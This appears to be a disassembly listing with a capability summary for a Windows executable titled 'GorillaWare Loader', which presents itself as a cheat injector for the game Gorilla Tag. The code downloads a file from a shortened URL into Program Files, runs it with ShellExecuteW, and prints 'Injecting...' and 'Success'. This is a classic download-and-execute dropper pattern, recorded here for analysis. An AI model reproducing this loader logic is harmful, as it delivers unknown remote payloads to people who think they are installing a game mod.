Function at 0x140001000
Capabilities:
Create process on windows
Download url
Receive data
Set console window title

Disassembly:
push rbx
sub rsp, 0x30
lea rcx, str.GorillaWare_Loader
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
mov edx, 0xb
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Program_FilesXenTestLoader.exe
xor ecx, ecx
lea rdx, str.https:__shorturl.at_divy4
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x140001163
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Gorilla_Ware
call fcn.1400011a0
mov rcx, rax
lea rdx, [0x140001370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 1
call fcn.1400013b0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Please_make_sure_Gorilla_Tag_is_open_if_it_is_not_please_open_it
call fcn.1400011a0
mov rcx, rax
lea rdx, [0x140001370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 2
call fcn.1400013b0
xor r9d, r9d
mov dword [rsp + 0x28], 0xa
lea r8, str.C:Program_FilesXenTestLoader.exe
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Injecting...
call fcn.1400011a0
mov rcx, rax
lea rdx, [0x140001370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 5
call fcn.1400013b0
mov edx, 0x3e8
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Beep]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Success
call fcn.1400011a0
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x40], 3
call fcn.1400013b0
xor eax, eax
add rsp, 0x30
pop rbx
ret
mov edx, 0xf
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Failed_to_load_please_try_again_
call fcn.1400011a0
mov rcx, rax
lea rdx, [0x140001370]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 0xffffffff
add rsp, 0x30
pop rbx
ret